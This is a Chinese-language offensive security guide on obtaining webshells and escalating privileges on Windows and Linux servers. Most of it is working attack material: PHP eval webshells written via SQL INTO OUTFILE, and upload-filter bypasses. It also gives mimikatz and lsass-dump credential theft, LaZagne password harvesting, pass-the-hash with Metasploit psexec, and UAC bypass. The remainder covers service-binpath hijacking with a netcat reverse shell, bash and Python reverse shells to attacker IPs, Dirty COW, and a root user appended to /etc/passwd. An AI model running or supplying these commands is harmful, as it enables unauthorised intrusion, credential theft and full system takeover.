获取webshell方法总结

CMS获取webshell

什么是CMS

​ CMS系统指的是内容管理系统。已经有别人开发好了整个网站的前后端,使用者只需要部署cms,然后通过后台添加数据,修改图片等工作,就能搭建好一个的WEB系统。

如何搜寻CMS信息

​ 常见方法:[信息收集-CMS识别-CSDN博客](https://blog.csdn.net/m0_37856131/article/details/122924979#:~:text=到您要检查的网站-->按 Ctrl %2B U 显示页面代码—>在 html 页面上找到前缀为meta name%3D”generator”content%3D的标签—>引擎名称将在“内容”一词后用引号表示,js 文件路径的行中。 例如,wp-includes 和 wp-content 表明该网站由 Wordpress 提供支持)

在线信息收集网站

国内
http://whatweb.bugscaner.com #识别CMS插件

https://www.yunsee.cn #云悉CMS识别

http://finger.tidesec.net #潮汐指纹识别

https://www.godeye.vip #WEB指纹识别

1.2:国外
http://itrack.ru/whatcms #CMS识别国外 (俄罗斯)

https://builtwith.com #全面的 CMS 检测

https://sitereport.netcraft.com #网站CMS识别

https://cmsdetect.com #CMS识别

https://rescan.io #CMS列表识别

https://scanwp.net #包括插件也监测

https://www.isitwp.com #专注WordPress识别

https://www.codeinwp.com/find-out-what-wordpress-theme-is-that

CMS识别工具

御剑WEB指纹识别

相关链接:http://www.xitongzhijia.net/soft/171203.html (文件自测)

TideFinger(潮汐)

项目地址:https://github.com/TideSec/TideFinger

安装教程:
git clone https://github.com/TideSec/TideFinger.git
cd TideFinger/cd python3/ && pip3 install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/

使用说明:
python3 TideFinger.py -u http://www.123.com [-p 1] [-m 50] [-t 5] [-d 0]
-u: 待检测目标URL地址
-p:指定该选项为1后,说明启用代理检测,请确保代理文件名为proxys_ips.txt,每行一条代理,格式如: 124.225.223.101:80
-m: 指纹匹配的线程数,不指定时默认为50
-t: 网站响应超时时间,默认为5秒
-d: 是否启用目录匹配式指纹探测(会对目标站点发起大量请求),0为不启用,1为启用,默认为不启用

WhatWeb(kali自带)

项目地址:https://github.com/urbanadventurer/WhatWeb.git

安装教程:
cd WhatWeb && apt install ruby-bundler && bundle install &&

使用说明:
whatweb www.baidu.com

大宝剑

项目地址:https://github.com/wgpsec/DBJ

多CMS识别工具
项目地址:https://github.com/Tuhinshubhra/CMSeek

其他识别CMS方法

CMS识别指纹(浏览器插件)
WhatRuns

Wappalyzer

F12代码JS文件
如果有不知道CMS的网站,可以F12查看网站源代码的JS、CSS等文件,找特殊字符,然后去Github或者红迪(Reddit)网去搜索找到的字符。

CMS的名称在页面的源代码中指定
到您要检查的网站–>按 Ctrl + U 显示页面代码—>在 html 页面上找到前缀为meta name=”generator”content=的标签—>引擎名称将在“内容”一词后用引号表示

文件路径
CMS 可以通过代码的典型文件夹及其结构来识别。特别是在指示 js 文件路径的行中。例如,wp-includes 和 wp-content 表明该网站由 Wordpress 提供支持

网站页脚中的指示
CMS 名称有时可以在页脚、底部的小字体、联系信息或额外的公司信息下找到

链接结构分析
如果网站页面的 URL 是在没有使用 CNC 生成器的情况下形成的,您会注意到页面文本中特定于特定 CMS 的部分。

WordPress 和 Joomla 的特定信息的链接可以在下面的示例中看到

WordPress:website_name/р=123

Joomla:website_name/index.php?option=com_content&

task=view&id=12&Itemid=345website_name/content/view/12/345/

管理员登录网址
上使用的 CMS 可以通过查看指向网站管理面板的 URL 来确定。这是 WordPress,例如,如果将 /wp-admin/ 添加到 URL 栏中的域名,则会将您带到带有登录名和密码输入窗口的页面。

site_name/wp-admin/ - WordPress

site_name/administrator/ - Joomla

site_name/admin/ - OpenCart

SiteName/user/ - Drupal

网站特有文件
如/templets/default/style/dedecms.css—dedecms

网站MD5指纹
一些网站的特定图片文件、js文件、CSS等静态文件,如favicon.ico、css、logo.ico、js等文件一般不会修改,通过爬虫对这些文件进行抓取并比对md5值,如果和规则库中的Md5一致则说明是同一CMS。这种方式速度比较快,误报率相对低一些,但也不排除有些二次开发的CMS会修改这些文件。

一些汇总
网站文件命名规则

​ 返回头的关键字

​ 网页关键字

​ Url特征

​ Meta特征

​ Script特征

​ robots.txt

​ 网站路径特征

CMS漏洞检测工具

wordpress
项目地址:https://github.com/rastating/wordpress-exploit-framework

项目地址:https://github.com/n00py/WPForce

项目地址:https://github.com/wpscanteam/wpscan

描述 :WPScan WordPress 安全扫描器

使用:kali–>wpscan –url “目标网站”

Drupal
项目地址:https://github.com/SamJoan/droopescan
项目地址:https://github.com/immunIT/drupwn

安装教程:
git clone https://github.com/immunIT/drupwn.git && cd drupwn
pip3 install -r requirements.txt

使用说明:./drupwn –mode enum –target “目标地址”
–mode MODE 模式枚举|利用
–target TARGET 要扫描的目标主机名

Joomla
项目地址:https://github.com/OWASP/joomscan

描述:OWASP Joomla 漏洞扫描程序项目

安装教程:kali–>apt install joomscan

使用:joomscan -u “目标”

cmseek
项目地址:https://github.com/Tuhinshubhra/CMSeeK

安装教程:

git clone https://github.com/Tuhinshubhra/CMSeeK && cd CMSeeK

pip3 install -r requirements.txt

使用说明:python3 cmseek.py -u “目标地址”

#######以上三款工具都可kali安装#########

几个在线CMS漏洞扫描网站
https://wpsec.com/ #wordpress专业扫描

https://wpscan.com/ #wordpress专业扫描

https://www.malcare.com/wordpress-malware-scan/ #wordpress专业扫描

https://hackertarget.com/scan-membership/ #通用-收费

https://gf.dev/ #综合测试

https://pentest-tools.com/ #2次免费扫描

https://www.automox.com/

相关参考链接:

https://zhuanlan.zhihu.com/p/355150689

https://zhuanlan.zhihu.com/p/402320861

https://www.cnblogs.com/qingchengzi/articles/13533704.html

非CMS获取webshell

更多的时候企业并不使用开源的CMS,而是选择自己开发源代码,这里的思路分为有权限和无权限两方面来分析

有管理权限的情况:

是指前期通过其他方法,已经破解了管理后台功能,可以使用管理后台的情况

通过正常上传一句话小马获取webshell

  1. 检查网站是否过滤上传文件后缀格式,如果未过滤直接上传一句话小马即可。
  2. 找到网站默认配置,将一句话小马插入配置中
    因为有些网站没有对配置参数进行过滤,所以配置中的小马被读取后,就可能被连接

建议先下载该站源码,进行查看源码过滤规则,以防插马失败。
插马失败很有可能会导致网站被你的小马中没有闭合标签导致网站出错。注意要闭合原有的代码,保证语法正确,以免程序运行出错。

利用后台数据库备份获取webshell

一般网站都不允许上传脚本类型文件,如 asp、php、jsp、aspx等文件。但一般后台都会有数据库备份功能。步骤如下

  1. 上传允许格式的小马(如图片马)
  2. 找到文件上传后的文件路径
  3. 通过数据库备份,指定备份源文件与与备份后格式。

如果后台限制了备份路径,可以尝试F12修改文本框元素

通过花样上传一句话小马获取Webshell

使用BurpSuite 工具,%00截断、特殊名文件名绕过、文件名大小写绕过、黑白名单绕过等等,想尽一切办法就是要上传一句话木马,通过各种变形,万变不离其宗,换汤不换药。

通过编辑模块、标签等拿WebShell

①通过对网站的模块进行编辑写入一句话,然后生成脚本文件拿WebShell

②通过将木马添加到压缩文件,把名字改为网站模板类型,上传到网站服务器,拿WebShell

SQL命令获取

有一定的数据库权限的情况下,通过向数据库表写入马,然后备份该表为脚本文件的方式进行
大致步骤:

  1. 创建表
  2. 将一句话写入刚创建的表中
  3. 查询一句话所在表到文件,成功将一句话写入文件

第一种方法:

1
2
3
4
5
6
7
CREATE TABLE `mysql`.`best` (`best1` TEXT NOT NULL );  
#将一句话木马插入到mysql库best表best1字段
INSERT INTO `mysql`.`best` (`best1` ) VALUES ('<?php @eval($_POST[password]);?>');
#查询这个字段导出到网站的文件中
SELECT `best1` FROM `best` INTO OUTFILE 'd:/wamp/www/best.php';
#把痕迹清除
DROP TABLE IF EXISTS `best`;

第二种方法:
优先推荐,简单明了,且避免了误删别人的数据!

1
2
#直接将查询出来的语句写入文件
select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/best3.php'

利用解析漏洞拿WebShell

1
2
3
4
1)IIS5.x / 6.0 解析漏洞
2)IIS 7.0 / IIS 7.5 / Nginx <8.03 畸形解析漏洞
3)Nginx < 8.03 空字节代码执行漏洞
4)Apache 解析漏洞

其他的还有命令执行漏洞,反序列化漏洞等

利用编辑器漏洞拿WebShell

利用网站的编辑器上传木马,搜索已知的编辑器漏洞,常见的编辑器有 fckeditor、ewebeditor、cheditor等,有时候没有管理员权限也可以拿下webshell。

文件包含拿WebShell

  1. 首先需要存在文件包含漏洞
  2. 先将WebShell 改为txt格式文件上传
  3. 然后上传一个脚本文件包含该txt格式文件
  4. 通过这种方式,可绕过WAF拿WebShell

上传其它脚本类型拿WebShell

  1. 此类型用于一台服务器具有多个网站
    a网站是asp的站,b可能是php的站,分别限制了asp和php文件的上传,可以尝试向A上传php的脚本,来拿Shell
  2. 也可以尝试将脚本文件后缀名改为asa 或者在后面直接加个点(.)如”xx.asp.”, 来突破文件类型限制进行上传拿WebShell

修改网站上传类型配置来拿WebShell

某些网站,在网站上传类型中限制了上传脚本类型文件,我们可以去添加上传文件类型如添加asp | php | jsp | aspx | asa 后缀名来拿WebShell

非管理权限


SQL注入漏洞

前提条件,具有足够权限,对写入木马的文件夹有写入权限,知道网站绝对路径

①可以通过log 备份、差异备份拿WebShell
②可以通过into outfile,into outfile函数(写入函数)将一句话木马写入,拿WebShell。
③利用phpmyadmin 将木马导出,拿WebShell
④利用连接外连的数据库拿WebShell

1
2
3
4
5
1. 要有file_priv权限
2. 知道文件绝对路径
3. 能使用union
4. 对web目录有读权限
5. 若过滤了单引号,则可以将函数中的字符进行hex编码

xss和sql注入联合利用

有些输入框对一些符号过滤不严密(如<>,所以一般存在xss的地方就可以这么利用)我们可以在这里输入一句话<?php @eval($_POST['CE']);?>,之后再用数据库注入,查询到文件into file成功插入一句话木马

IIS写权限拿WebShell

有些网站的管理员在配置网站权限的时候疏忽,导致我们有写权限,这种漏洞需要用工具来利用,已经很少见了,有专门的利用工具(桂林老兵)。
原理是通过找到有IIS 写入权限的网站(开启WebDeV),PUT进去一个.txt 格式的文件,目录必须有刻写的权限,如 image 文件夹,然后通过move 方法,把txt 格式的木马用move 成脚本格式。

远程命令执行拿WebShell

在有php代码执行漏洞,例如一些框架漏洞的时候可以通过执行一些系统命令进行拿WebShell。执行命令行命令“写入如下内容到文件,会自动将创建木马文件并将一句话木马写入其中,使用菜刀连接即可。

1
echo ?php "@eval($_POST['CE']);?>" > x.php 

头像上传拿WebShell

大概思路:
①将大马放在文件夹中
②将文件夹压缩成压缩文件(zip)
③正常上传一个头像并且抓包
④将数据包中图片头像的内容部分删掉
⑤重新写入文件内容,将压缩文件写入到原本图片的位置
⑥上传,之后返回包中会告诉我们绝对路径

管理员密码提取

需要以管理员用户登录,才能提取密码

mimikatz工具读取

当目标为WindowsXP-2012等操作系统时,通过以下命令可以直接提取到明文密码(需要以管理员身份登录)

1
2
3
4
5
mimikatz.exe "privilege::debug" "sekurlsa::logonpassWords" exit>123.txt

#提升权限
privilege::debug

当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文(可能出现问题)

1、修改注册表,让Wdigest Auth 保存明文口令

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

2、重启或注销登录,导出lsass.dmp

1
procdump64.exe -accepteula -ma lsass.exe lsass.dmp

3、然后拿到 mimikatz 文件夹执行命令读明文

1
2
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

本地hash远程攻击

1、获取sam文件中administrator的hash密码

使用pwdump工具获取密码

Windows PWDUMP tools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
C:\Documents and Settings\Administrator\桌面\pwdump8-8.2\pwdump7>PwDump7.exe
Pwdump v7.1 - raw password extractor
Author: Andres Tarasco Acuna
url: http://www.514.es

Administrator:500:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA8854737681
8D4:::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
SUPPORT_388945a0:1001:NO PASSWORD*********************:B7BF2AD63C27101B314C28578
FE3F1B9:::
IUSR_GOLD-DFD1EF44BA:1003:587598BDB5B2EA09B2D2D1539A5CC67F:5C79A5D27C799E4E033C3
96BDCEBD0ED:::
IWAM_GOLD-DFD1EF44BA:1004:5858D28D62B2A756E9B758B2D3F45F97:1ABB238FC5AD200853D15
FDC99B14207:::
ASPNET:1006:CEBCC37474AA8AD3248733E5E96EA6DC:6D3A0F8AC892872D72EBFFD510F4BBEF:::

test:1015:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537:::

C:\Documents and Settings\Administrator\桌面\pwdump8-8.2\pwdump7>

2、利用msf提供的exploit/windows/smb/psexec模块

1
2
3
4
5
6
7
8
msf >use exploit/windows/smb/psexec
msf >set RHOST 192.168.1.109
msf >set SMBUser administrator
msf >set SMBPass 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA8854737681
8D4
msf >exploit
msf >shell

使用LaZagne

强烈推荐:可以获取所有的密码:浏览器密码、wifi密码等信息

[LaZagne][(https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.6/LaZagne.exe)]

1、安装依赖

1
pip install -r requirements.txt

2、基本使用

1
2
3
4
5
6
7
8
9
10
11
12
#抓取所有支持软件的密码
laZagne.exe all

#抓取浏览器的密码:
laZagne.exe browsers

#把所有的密码写入一个文件:
laZagne.exe all -oN -output D:\BaiduNetdiskDownload\LaZagne-master\LaZagne-master

#解密域凭据(要解密域凭据,可以通过指定用户 Windows 密码的方式来完成。):
laZagne.exe all -password ZapataVive

Windows系统提权

提权知识储备

常见提权方法

1、 溢出漏洞提权
2、 数据库提权
3、 第三方软件提权

Cmd命令无法执行原因分析

有时通过webshell连接上操作系统后,cmd命令可能无法执行,原因一般都是被管理员降权或删除、组件被删除。
解决方法是通过脚本木马查找可读可写目录,上传cmd.exe,调用设定cmd路径(找可读可写目录不要选带空格目录)。

1
2
#设置cmd执行路径
setp c:\xxx\vvv\cmd.exe

提权常用命令讲解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
whoami ——查看用户权限
systeminfo ——查看操作系统,补丁情况
ipconfig——查看当前服务器IP ipconfig /all
net user——查看当前用户情况
netstat ——查看当前网络连接情况
netstat –ano /netstat –an | find “ESTABLISHED”
tasklist ——查看当前进程情况 tasklist /svc
taskkill ——结束进程 taskkill -PID xx
net start ——启动服务
net stop ——停止服务
hostname ——获取主机名称
quser or query user ——获取在线用户
netstat -ano | findstr 3389 ——获取rdp连接来源IP
dir c:\programdata\ ——分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn ——列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber ——获取远程端口
tasklist /svc | find "TermService" + netstat -ano ——获取远程端口

系统溢出漏洞提权实战

零、系统溢出漏洞提权分类:

  1. 远程溢出
    攻击者只需要与服务器建立连接,然后根据系统的漏洞,使用相应的溢出程序,即可获取到远程服务器的root权限。
  2. 本地溢出
    首先要有服务器的一个用户,且需要有执行的权限的用户才能发起提权,
    攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出root权限

一、UAC绕过提权

UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。
当获得的权限是属于管理员组的时候但是并不是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac。

uac 绕过exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#用kali
use exploit/windows/local/ask

meterpreter > background [*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/ask
msf5 exploit(windows/local/ask) > set session 1
msf5 exploit(windows/local/ask) > set lhost 192.168.60.79
msf5 exploit(windows/local/ask) > set lport 4444
msf5 exploit(windows/local/ask) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/ask) > set technique exe
msf5 exploit(windows/local/ask) > exploit

其他exp:
use exploit/windows/local/bypassuacuse
exploit/windows/local/bypassuac

二、利用系统内核溢出漏洞提权

此提权方法即是通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限的EXP和它们的补丁编号,进行提升权限。

微软官方时刻关注漏洞补丁列表网址:
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017

比如常用的几个已公布的 exp:KB2592799、KB3000061、KB2592799

github中整理好的溢出提权exp:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation

如何判断可用的漏洞

  1. 快速查找操作系统未打补丁脚本
    可以最安全的减少目标机的未知错误,以免影响业务。 命令行下执行检测未打补丁的命令如下:

    1
    systeminfo>micropoor.txt&(for \%i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "\%i"|| @echo \%i you can fuck)&del /f /q /a micropoor.txt
  2. MSF后渗透扫描:

    1
    post/windows/gather/enum_patches
  3. Powershell扫描:

    1
    2
    Import-Module C:\Sherlock.ps1
    Find-AllVulns

三、利用SC将administrator提权至system

试用版本:windows 7、8、03、08、12、16

关于sc命令:SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。

1
2
sc Create syscmd binPath= “cmd /K start” type= own type= interact
sc start systcmd

命令含义:
创建一个名叫syscmd的新的交互式的cmd服务
然后执行sc start systcmd,就得到了一个system权限的cmd环境

四、利用不带引号的服务路径

检测方法

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

Windows命令解释程序可能会遇到名称中的空格,并且没有包装在引号中的时候。就有可能出现解析漏洞。
如开机自启动中有程序路径C:\Program Files\Vulnerable.exe,其中存在空格,此时在C盘根目录上传Program.exe文件时,可能会被目标开机自启动。如果无效,还可以尝试在C:\Program Files路径下上传Vulnerable.exe文件。

1
2
3
4
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\Sub.exe
C:\Program Files\Vulnerable Service\Sub Directory\service.exe

可以使用以下命令查看错误配置的路径

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

五、利用不安全的服务权限

⚫即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它。
AccessChk工具可以用来查找用户可以修改的服务:

1
2
accesschk.exe -uwcqv “Authenticated Users” * /accepteula
accesschk.exe -uwcqv “user” *

sc命令也可以用来查找用户可以修改的服务:

1
2
3
4
5
6
#查找可以修改的服务
sc qc “Service”

sc config xxx binpath= “net user rottenadmin P@ssword123! /add”
sc stop xxx
sc start xxx

每当我们开启服务时sc命令都返回了一个错误。这是因为net user命令没有指向二进制服务,因此SCM无法 与服务进行通信,通过使用执行自动迁移到新进程的payload,手动迁移进程,或者在执行后将服务的bin路径设置回原始服务二进制文件,可以解决这个问题。或者我们在权限允许的情况下,将我们的木马放到服务目录下,并重命名为服务启动的应用名称。电脑重启时即可获得一个system的shell

完整案例:

①、利用系统自带的 DcomLaunch服务测试(此服务Power User组低权可操作)

1
2
3
4
5
6
7
#查询DcomLaunch的详细信息
sc qc DcomLaunch
#查看服务是否启动
net start | find "DCOM Server Process Launcher"

#运行 tasklist /svc 找到对应服务
tasklist /svc

②、修改服务并获取系统权限

这里要配置使用nc反弹shell到我的攻击机上,把nc放到c:\windows\temp目录下,使用sc对服务进行修改

1
sc config DcomLaunch binpath= "C:\wmpub\nc.exe -nv 192.168.32.194 4433 -e C:\WINDOWS\system32\cmd.exe"  

⛔注意binpath=后面一定要有个空格,IP为攻击者IP

③、查看是否第二步成功

1
sc qc DcomLaunch 

④、配置账号密码

1
sc config DcomLaunch obj= ".\LocalSystem"  password= ""

obj:指定运行服务将使用的帐户名,或指定运行驱动程序将使用的 Windows 驱动程序对象名。默认设置为 LocalSystem。
password:指定一个密码。如果使用了非 LocalSystem 的帐户,则此项是必需的。

⑤、重启服务

1
net start DcomLaunch 

⑥、攻击机上用nc进行监听4433即可得到反弹的shell

1
nc.exe -vv -l -p 4433

六、计划任务

如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行恶意程序。

1
2
3
4
#查看计算机的计划任务
schtasks /query /fo LIST /v
#查看指定目录的权限配置情况
accesschk.exe -dqv "D:\test" -accepteula

七、Meterpreter基础提权

首先在Meterpreter会话执行ps命令查看目标机当前进程:
假设此处看到了一个进程,运行账户是域管理员,我们可以再第一栏找到对应的进程PID,假设PID为2584:
然后我们可以执行以下语句窃取该用户进程的令牌:

1
steal_token  2584

溢出漏洞安全防范

及时通过Windows Update或第三方工具360更新补丁

提权后获取管理员密码

虽然我们已经有了管理员权限,但是我们最好是再获取管理员密码,原因如下

  1. 很多管理员账号密码都设置成一样的,攻下一台就可以拿下所有
  2. 远程连接时,比如使用木马,很容易被发现或者清理
  3. 如果用管理员账号,可以清除渗透痕迹
  4. 正规渗透测试过程中,都是取得管理员账号密码,登录3389端口或反端口连接者证明为成功

简单地说就是从获取管理员权限——>获取管理员账号

1、本地管理员密码如何直接提取

①、直接通过mimikatz读取管理员密码

mimikatz,很多人称之为密码抓取神器,它的功能很多,最重要的是能从 lsass.exe进程中获取windows的账号及明文密码——这是以前的事了,微软知道后已经准备了补丁,lsass进程不再保存明文口令。Mimikatz 现在只能读到加密后的密码。
win10无效

1
2
3
4
# 提升权限
privilege::debug
# 抓取密码
sekurlsa::logonpassWords

当无法上传mimikatz工具到目标服务器时,可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码,具体步骤如下

1
2
3
4
# 导出lsass.exe进程为lsass.dump文件
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

②、Lazagne 需要本地支持python

LaZagne项目是用于开源应用程序获取大量的密码存储在本地计算机上。每个软件都使用不同的技术(纯文本,API,自定义算法,数据库等)存储其密码。
LaZagne 几乎支持市面上大部分常用工具。包括浏览器、Git、SVN、Wifi、Databases 等。
但是对聊天软件的支持不够本土化,主要支持一些国外的聊天软件。

1
2
3
laZagne.exe all  #获取所有密码
laZagne.exe browsers #只获取浏览器记住的密码
laZagne.exe all -oN #将输出保存到文件

-oN表示是纯文本格式(正常的)的输出,和屏幕打印内容相同;还可以写成-oJ,JSON格式的输出,更便于程序解析;或者写成-oA,同时输出两种格式。

2、本地Hash远程直接登录


高版本的系统,密码不是明文的情况下,直接通过哈希值来取得管理员账号。主要通过MSF提供的exploit/windows/smb/psexec模块来完成

1
2
3
4
5
6
msf>use exploit/windows/smb/psexec
msf>set rhost #目标IP
msf>set SMBUser administrator #目标账号
msf>set SMBPass aaaaaa:bbbbbb #目标哈希值
msf>exploit
msf>shell

3、Hash密钥暴力破解


  1. 通过LC5暴力hash密码
    使用gmer直接提权SAM和system文件或用Pwdump7提取hash后,最后使用LC5破解
  2. 使用ophcrack破解系统hash密码
    http://simeon.blog.51cto.com/18680/122160

Linux系统提权

当拿到了一台Linux服务器的低权限账号后,要通过技术手段提权至 root 用户权限,以执行更多的操作。首先关于Linux提权我们得先明白几个概念。

linux内核知识

Linux内核版本号由3组数字组成:第一个组数字:内核主版本。 第二个组数字:偶数表示稳定版本;奇数表示开发中版本。第三个组数字:错误修补的次数。
3.10.0就是内核版本号。3就是内核主版本,10表示是稳定版,0表示错误修补次数是0。

1
2
3
4
5
#使用以下命令也可以看到系统内核及版本的一些信息:
uname -a #查看内核的具体信息
cat /proc/version #查看内核的具体信息
cat /etc/centos-release #查看centos发行版本
cat /etc/redhat-release #查看redhat发行版本

Linux提权方法总结

Linux提权的前提:

  1. 拿到了一个低权限的账号
  2. 能上传和下载文件
  3. 机器上有python、java、perl等环境(非必须项)

一、Linux反弹提权

**如果手里只有webshell可以利用反弹shell来得到一个shell,反弹的权限是中间件的权限。 **

1、NC反弹shell

NC详情参考:https://www.cnblogs.com/nmap/p/6148306.html

①nc参数介绍

1
2
3
4
5
6
7
-l		指定nc将处于侦听模式,nc被当作server,侦听并接受连接。
-p <port>指定端口,老版本才需要-p
-s 指定发送数据的源IP地址,适用于多网卡机
-u 指定nc使用UDP协议,默认为TCP
-v 输出交互或出错信息,新手调试时尤为有用
-w 超时秒数,后面跟数字
-z 表示zero,表示扫描时不发送任何数据

②nc做tcp监听

1
2
# 开启本地8080端口监听
nc nc -l -p 80802

③nc反弹服务器shell

方法⑴:公网主机绑定SHELL

1
2
3
4
#在公网监听端口5555端口,并绑定shell
nc -lp 5555 -t -e cmd.exe
#在内网主动建立到外网IP:5555的连接
nc -nvv x.x.x.x 5555

方法⑵:内网主机绑定SHELL

1
2
3
4
#在公网监听端口
nc -lp 5555
#在内网机器绑定shell反弹
nc -t -e cmd x.x.x.x 5555

2、利用bash直接反弹

(1) bash反弹一句话

1
2
3
4
#先公网监听
nc -l -p 8080
#在内网bash反弹
bash -i >& /dev/tcp/x.x.x.x/8080 0>&1

网上还有很多方法一句话反弹shell,需要自行搜索

二、内核漏洞提权——脏牛

  1. 脏牛漏洞:
    又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。
  2. 漏洞范围:
    Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
  3. 简要分析:
    该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。
    竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。
    恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。
  4. exp:
    https://github.com/gbonacini/CVE-2016-5195

示例:脏牛内核提权

  1. 首先确定发行版、内核版
1
2
3
cat /etc/issue
cat /etc/*-release
uname -a
  1. 根据内核版本,找exp,下载对应dirty.c文件编译
1
gcc -pthread dirty.c -o dirty -lcrypt
  1. 执行当前编译的dirty.c文件,然后输入新密码123456
1
2
3
./dirty
#执行后,会将原来的passwd文件备份到/tmp目录
#然后创建的新账号是firefart,密码123456
  1. 等创建成功后,切换到firefart用户
    会发现此用户会发现已经是root权限了。
    最好立刻再新建一个管理员账号,然后立刻恢复passwd文件。
    因为这个提权不是新建了一个账号,而已用新账号替换了root账号,所以要把root账号恢复回去

三、SUID提权

SUID(设置用户ID)是赋予文件的一种特殊权限,拥有改权限的程序,任何用户执行的时候都是改命令都是以root权限执行的

suid提权是指这类有S权限的程序,如果能执行命令,那么我们就能从用改程序从普通用户提升到了root权限

SUID可用命令

⑴在本地查找符合条件的文件,有以下三个命令

1
2
3
4
#尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

⑵已知的可用来提权的linux可行性的文件列表如下:

1
2
3
4
5
6
7
8
nmap
vim
find
bash
more
less
nano
cp

示例:利用find文件提权

假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。

  1. 查看具有root用户权限的SUID文件

    1
    find / -perm -u=s -type f 2>/dev/null
  2. 发现有find命令,再确认一下

    1
    2
    ls -lh /usr/bin/find
    #权限是rwsr-xr-x 确实有s权限
  3. 测试是否能用find命令以root权限运行

    1
    2
    /usr/bin/find examples.desktop -exec whoami \;
    #发现确实可以以root权限运行
  4. 然后查看目标网站上是否的python环境
    linux服务器一般都自带python,区别是有些2.X,有些3.x

  5. 于是我们以root用户的身份利用python反弹shell,

    1
    2
    3
    4
    5
    6
    7
    8
    #反弹一个sh类型的shell
    python -c 'import socket,subprocess,os; \
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); \
    s.connect(("192.168.10.25",4444)); \
    os.dup2(s.fileno(),0); \
    os.dup2(s.fileno(),1); \
    os.dup2(s.fileno(),2); \
    p=subprocess.call(["/bin/sh","-i"]);'
  6. 远端nc监听nc -lvp 4444
    可以看到,在攻击端收到了反弹过来的shell,并且是root身份

本节来自:https://blog.csdn.net/qq_36119192/article/details/84872644

四、Linux配置错误提权

利用Linux的配置文件错误,导致 /etc/passwd 文件可写入提权

对Linux配置进行检查的脚本有:
https://www.securitysift.com/download/linuxprivchecker.py
http://pentestmonkey.net/tools/audit/unix-privesc-check

当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作。
接下来我们的提权是利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去。

  1. 查看 /etc/passwd 的权限,发现任何用户都可以读写。
    我们现在要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到 /etc/passwd 文件中。

  2. 首先,使用perl语言生成带有盐值的密码:

    1
    perl -le 'print crypt("password@123","addedsalt")'
  3. 然后将test用户的信息加入 /etc/passwd 文件

    1
    echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
  4. test/password@123登录主机
    登录成功后,是 root 权限。

五、定时任务提权

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。
非root权限的用户是不可以列出root 用户的计划任务的。但是系统的计划任务/etc、cron*可以被列出。
默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写,我们就可以修改脚本进行提权了。

  1. 列出系统定时任务

    1
    ls -l /etc/cron*
  2. 查看列出的目录中,是否允许普通用户修改
